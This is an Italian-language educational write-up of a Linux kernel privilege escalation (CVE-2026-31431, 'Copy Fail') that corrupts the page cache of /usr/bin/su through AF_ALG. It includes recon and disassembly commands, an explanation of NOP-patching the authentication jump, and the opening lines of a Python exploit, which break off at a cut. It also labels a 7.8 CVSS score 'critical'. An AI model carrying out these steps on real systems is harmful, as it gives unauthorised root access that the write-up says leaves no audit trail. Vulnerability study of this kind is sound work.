
Analisi dettagliata della vulnerabilità Copy Fail (CVE-2026-31431) nel kernel Linux, inclusi il meccanismo di corruzione della memoria, il flusso di escalation dei privilegi e l'impatto sulla sicurezza.
Analisi educativa della vulnerabilità Copy Fail nel kernel Linux.
Copre il meccanismo di corruzione della memoria, il flusso di escalation dei privilegi, l'escape dai container e le contromisure difensive.
Questo repository è esclusivamente per scopi educativi e di ricerca.
Non utilizzare queste informazioni su sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta a testare.
Tutti i frammenti di codice e i comandi sono forniti esclusivamente per favorire la comprensione delle componenti interne del kernel Linux.
CVE-2026-31431, nota anche come Copy Fail, è una vulnerabilità del kernel Linux in cui un utente locale non privilegiato può ottenere i privilegi di root senza alcuna autorizzazione speciale.
L'attacco opera interamente in RAM. Il file su disco non viene mai toccato — ciò significa che gli hash dei file restano puliti, i timestamp sono invariati e i log di audit non registrano nulla. Quando il sistema si riavvia, ogni traccia scompare.
Utente normale → exploit del bug algif_aead → sovrascrittura della page cache → root
Proprietà chiave:
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-31431 |
| Nome Comune | Copy Fail / Corruzione della Page Cache in algif_aead |
| Punteggio CVSS v3.1 | 7.8 — CRITICO |
| Tipo di Attacco | Escalation Locale dei Privilegi (LPE) |
| Versioni del Kernel Affette | Linux 5.10 fino a 6.8 (circa) |
| Componente Vulnerabile | crypto/algif_aead.c — interfaccia socket AF_ALG |
| Affidabilità dello Sfruttamento | ALTA — Nessuna race condition richiesta |
| Prove su Disco | NESSUNA — modifica solo in RAM |
| Impatto sui Container | SÌ — escape dall'host tramite page cache condivisa |
| Stato della Patch | Disponibile (patch upstream del kernel rilasciata) |
/usr/bin/su — Il Binario Targetsu (Switch User) consente a un utente di passare a un altro account — tipicamente root. È un binario SetUID:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = flag SetUID
Il flag s significa: quando qualsiasi utente esegue questo binario, esso viene eseguito con i permessi di root. Questo lo rende un obiettivo di alto valore.
La sua logica interna (semplificata):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
L'obiettivo dell'attacco: saltare completamente il controllo password_correct().
Quando Linux legge un file dal disco, ne conserva una copia in RAM chiamata page cache.
| Componente | Descrizione |
|---|---|
| Disco | File originale su disco (lo scaffale della libreria) |
| Page Cache | Copia in RAM del file (la fotocopia sulla tua scrivania) |
| CPU | Legge ed esegue dalla page cache — veloce |
| Attaccante | Modifica la copia in RAM; il disco rimane intatto |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← questa è la page cache
| Tipo | Sicurezza |
|---|---|
| Buffer Sicuro — allocato dal kernel, dimensioni e limiti controllati | ✅ OK |
| Page Cache — copia in RAM con supporto file, condivisa, eseguibile | ⚠️ PERICOLOSA se scritta |
| Puntatore Errato — indirizzo causato dal bug che punta ovunque | 🔴 CRITICO |
AF_ALG (Algorithm Family) è un'interfaccia socket di Linux che consente ai programmi in spazio utente di usare le funzioni crittografiche del kernel (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // apre un socket crittografico
algif_aead è il modulo del kernel che gestisce la crittografia AEAD (es. AES-GCM) tramite AF_ALG. La vulnerabilità risiede nel suo passaggio di copia dei dati.
AF_ALG → algif_aead → motore AES-GCM → buffer di output
↑
QUI C'È IL BUG
Il bug non è nella logica di crittografia. È nella gestione della memoria — la regione di memoria sbagliata viene selezionata durante una copia di dati.
destination = safe_output_buffer; // posizione corretta
memcpy(destination, user_data, size); // dati scritti in modo sicuro
destination = buffer + WRONG_OFFSET; // BUG: puntatore errato!
memcpy(destination, user_data, size); // i dati finiscono nella page cache
Il kernel avrebbe dovuto scrivere nel buffer di output sicuro. A causa di un offset calcolato male, scrive nella page cache — che contiene la copia in RAM di /usr/bin/su.
Il binario contiene codice macchina x86-64. L'attaccante prende di mira il salto condizionale che attiva il fallimento dell'autenticazione:
Prima dell'attacco:
cmp eax, 0 ; controlla il valore di ritorno
jne 0x1234 ; se fallisce → salta a deny
call give_root ; concede root
Dopo l'attacco (2 byte modificati in RAM):
cmp eax, 0 ; uguale
90 90 ; NOP NOP ← salto sostituito, controllo saltato!
call give_root ; la CPU arriva qui direttamente
NOP = No Operation. La CPU non fa nulla e prosegue — saltando completamente il controllo di autenticazione.
"Mi serve solo un account utente normale. Sarà il kernel a commettere l'errore da solo.
Il disco resta pulito. Nessun log. Funziona ogni volta."
whoami && id
# uid=1000(user) gid=1000(user) ← utente normale
uname -r
# 6.1.0-generic ← nella fascia vulnerabile
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confermato
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponibile')"
cat /usr/bin/su > /dev/null
# /usr/bin/su è ora caricato nella page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Cercando: l'indirizzo della funzione di autenticazione, il salto condizionale jne/jnz e il suo offset esatto in byte.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)